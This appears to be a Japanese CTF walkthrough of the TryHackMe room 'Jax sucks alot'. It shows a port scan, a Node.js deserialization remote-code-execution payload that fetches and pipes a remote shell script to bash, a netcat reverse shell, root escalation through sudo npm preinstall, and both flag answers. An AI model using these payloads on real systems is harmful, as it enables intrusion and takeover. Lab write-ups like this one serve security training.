概要
TryHackMe「Jax sucks alot.............」のWalkthroughです。
Task1
Q1.user.txt
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.26.17 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 5b:2d:9d:60:a7:45:de:7a:99:20:3e:42:94:ce:19:3c (RSA)
| 256 bf:32:78:01:83:af:78:5e:e7:fe:9c:83:4a:7d:aa:6b (ECDSA)
|_ 256 12:ab:13:80:e5:ad:73:07:c8:48:d5:ca:7c:7d:e0:af (ED25519)
80/tcp open http
|_http-title: Horror LLC
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Content-Type: text/html
| Date: Fri, 11 Oct 2024 08:31:57 GMT
| Connection: close
| <html><head>
| <title>Horror LLC</title>
| <style>
| body {
| background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
| background-size: 300% 300%;
| -webkit-animation: Background 10s ease infinite;
| -moz-animation: Background 10s ease infinite;
| animation: Background 10s ease infinite;
| @-webkit-keyframes Background {
| background-position: 0% 50%
| background-position: 100% 50%
| 100% {
| background-position: 0% 50%
| @-moz-keyframes Background {
| background-position: 0% 50%
| background-position: 100% 50%
| 100% {
| background-position: 0% 50%
| @keyframes Background {
| background-position: 0% 50%
| background-posi
| HTTPOptions:
| HTTP/1.1 200 OK
| Content-Type: text/html
| Date: Fri, 11 Oct 2024 08:31:58 GMT
| Connection: close
| <html><head>
| <title>Horror LLC</title>
| <style>
| body {
| background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
| background-size: 300% 300%;
| -webkit-animation: Background 10s ease infinite;
| -moz-animation: Background 10s ease infinite;
| animation: Background 10s ease infinite;
| @-webkit-keyframes Background {
| background-position: 0% 50%
| background-position: 100% 50%
| 100% {
| background-position: 0% 50%
| @-moz-keyframes Background {
| background-position: 0% 50%
| background-position: 100% 50%
| 100% {
| background-position: 0% 50%
| @keyframes Background {
| background-position: 0% 50%
|_ background-posi
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
80 | http |
80
番ポートにアクセスします。
メールアドレスを送信するとCookieが返ってきました。
デコードすると、値がシリアライズされCookieに設定されていると分かりました。
$ echo "eyJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSJ9" | base64 -d
{"email":"admin@admin.com"}
デシリアライズ攻撃が出来そうです。
NodeJSのデシリアライズ攻撃でRCE出来る脆弱性を見つけました。
リバースシェルファイルを作成し、ペイロードを送信します。
_$$ND_FUNC$$_function (){\n \t require('child_process').exec('curl http://10.6.55.144/shell.sh|bash',
function(error, stdout, stderr) { console.log(stdout) });\n } ()
Netcatでリッスンしているとシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.26.17] 47422
bash: cannot set terminal process group (540): Inappropriate ioctl for device
bash: no job control in this shell
dylan@jason:/opt/webapp$ whoami
whoami
dylan
TTYを設定します。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/home/dylan/user.txt
からユーザーフラグを入手できました。
/home/dylan/user.txt
0ba48780dee9f5677a4461f588af217c
A.0ba48780dee9f5677a4461f588af217c
Q2.root.txt
sudo -l
を確認すると/usr/bin/npm
が設定されています。
$ sudo -l
sudo -l
Matching Defaults entries for dylan on jason:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dylan may run the following commands on jason:
(ALL) NOPASSWD: /usr/bin/npm *
GFTOBinsで権限昇格のテクニックを見つけました。
一連のコマンドを入力し、rootシェルを取得できました。
dylan@jason:~$ TF=$(mktemp -d)
TF=$(mktemp -d)
dylan@jason:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
<ts": {"preinstall": "/bin/sh"}}' > $TF/package.json
dylan@jason:~$ sudo -u root /usr/bin/npm -C $TF --unsafe-perm i
sudo -u root /usr/bin/npm -C $TF --unsafe-perm i
> @ preinstall /tmp/tmp.TNHVfSKLaK
> /bin/sh
# whoami
whoami
root
/root/root.txt
からルートフラグを入手できます。
/root/root.txt
2cd5a9fd3a0024bfa98d01d69241760e
A.2cd5a9fd3a0024bfa98d01d69241760e